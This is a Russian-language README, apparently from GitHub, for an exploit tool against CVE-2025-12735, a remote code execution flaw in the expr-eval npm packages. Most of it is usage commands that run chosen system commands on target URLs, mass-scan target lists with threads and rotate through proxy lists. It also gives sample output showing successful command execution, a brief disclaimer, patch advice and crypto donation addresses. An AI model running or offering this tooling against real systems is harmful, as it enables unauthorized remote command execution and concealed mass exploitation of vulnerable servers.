
Инструмент для исследований в области безопасности, предназначенный для обнаружения и проверки CVE-2025-12735 (уязвимость RCE в expr-eval).
Инструмент для исследования безопасности, предназначенный для обнаружения и проверки уязвимости CVE-2025-12735 в npm-пакетах expr-eval и expr-eval-fork.
Этот инструмент предназначен только для авторизованного тестирования безопасности и образовательных целей. Несанкционированный доступ к компьютерным системам противозаконен. Используйте этот инструмент только на системах, которыми вы владеете, или на тестирование которых у вас есть явное письменное разрешение.
CVE-2025-12735 — это критическая уязвимость удалённого выполнения кода (RCE) в npm-пакетах expr-eval и expr-eval-fork. Данная уязвимость позволяет злоумышленникам определять произвольные функции внутри объекта context, используемого парсером, что даёт возможность внедрения вредоносного кода, выполняющего системные команды.
Оценка CVSS: 9.8 (критическая)
Затронутые версии: expr-eval-fork < 3.0.0
Исправленная версия: expr-eval-fork v3.0.0+
# Clone the repository
git clone https://github.com/AN5I/cve-2025-12735-expr-eval-rce.git
cd cve-2025-12735-expr-eval-rce
# Install dependencies
pip install -r requirements.txt
# Make script executable (optional)
chmod +x uknf_cve_2025_12735_expr_eval_rce.py
# Download the script
wget https://raw.githubusercontent.com/AN5I/cve-2025-12735-expr-eval-rce/main/uknf_cve_2025_12735_expr_eval_rce.py
# Install dependencies
pip install requests
# Single target
python3 uknf_cve_2025_12735_expr_eval_rce.py -u http://target.com
# Execute custom command
python3 uknf_cve_2025_12735_expr_eval_rce.py -u http://target.com -c "whoami"
# Multiple targets from file
python3 uknf_cve_2025_12735_expr_eval_rce.py -f targets.txt -o results.json
# With threading for faster scanning
python3 uknf_cve_2025_12735_expr_eval_rce.py -u http://target.com -t 5
# Verbose output for debugging
python3 uknf_cve_2025_12735_expr_eval_rce.py -u http://target.com -v
# Single proxy
python3 uknf_cve_2025_12735_expr_eval_rce.py -u http://target.com --proxy http://proxy:port
# Multiple proxies from file
python3 uknf_cve_2025_12735_expr_eval_rce.py -f targets.txt --proxy-list proxies.txt
-u, --url Target URL
-f, --file File containing target URLs (one per line)
-c, --command Command to execute (default: id)
-t, --threads Number of threads (default: 1)
-o, --output Output file (default: uknf_expr_eval_results.json)
-v, --verbose Enable verbose logging
--proxy Proxy URL (e.g., http://127.0.0.1:8080)
--proxy-list File containing proxy URLs (one per line)
Скрипт генерирует JSON-файл с подробными результатами:
{
"target": "http://target.com",
"timestamp": "2025-11-20T15:35:32.638109",
"expr_eval_detected": true,
"vulnerable": true,
"endpoint_found": true,
"exploitation_successful": true,
"command_executed": "id",
"output": "uid=1000(user) gid=1000(user)...",
"vulnerable_endpoint": "/api/evaluate"
}
Если вы используете expr-eval или expr-eval-fork:
Немедленно обновитесь:
npm install expr-eval-fork@latest
Примените патч безопасности:
Внедрите валидацию входных данных:
python3 uknf_cve_2025_12735_expr_eval_rce.py -u https://example.com
# Create targets file
echo "https://target1.com" > targets.txt
echo "https://target2.com" >> targets.txt
# Run scan
python3 uknf_cve_2025_12735_expr_eval_rce.py -f targets.txt -o results.json
python3 uknf_cve_2025_12735_expr_eval_rce.py -u https://example.com -c "uname -a"
# Single proxy
python3 uknf_cve_2025_12735_expr_eval_rce.py -u https://example.com --proxy http://127.0.0.1:8080
# Multiple proxies from file
echo "http://proxy1:8080" > proxies.txt
echo "http://proxy2:8080" >> proxies.txt
python3 uknf_cve_2025_12735_expr_eval_rce.py -f targets.txt --proxy-list proxies.txt
Мы приветствуем ваш вклад! Не стесняйтесь отправлять Pull Request.
git checkout -b feature/AmazingFeature)git commit -m 'Add some AmazingFeature')git push origin feature/AmazingFeature)Если вы столкнулись с какими-либо проблемами или у вас есть предложения, пожалуйста, создайте issue на GitHub.
Этот проект распространяется под лицензией MIT — подробнее см. в файле LICENSE.
Если вы находите этот инструмент полезным, пожалуйста, поставьте ему звезду на GitHub!
Этот инструмент предоставляется только для образовательных целей и авторизованного тестирования безопасности. Авторы не несут ответственности за любое неправомерное использование или ущерб, причинённый этой программой. Пользователи обязаны убедиться, что у них есть соответствующие разрешения перед тестированием любых систем.
Если вы находите этот инструмент полезным и хотите поддержать проект:
Bitcoin (BTC):
bc1qj95y35w8r2mw0u28zrm3dmxtzjkq258xdv8tzv
Ethereum (ETH):
0x3DC302a3f35F6cD1A03FF4982EcE0dE8fE1cEba7
Спасибо за вашу поддержку! 🙏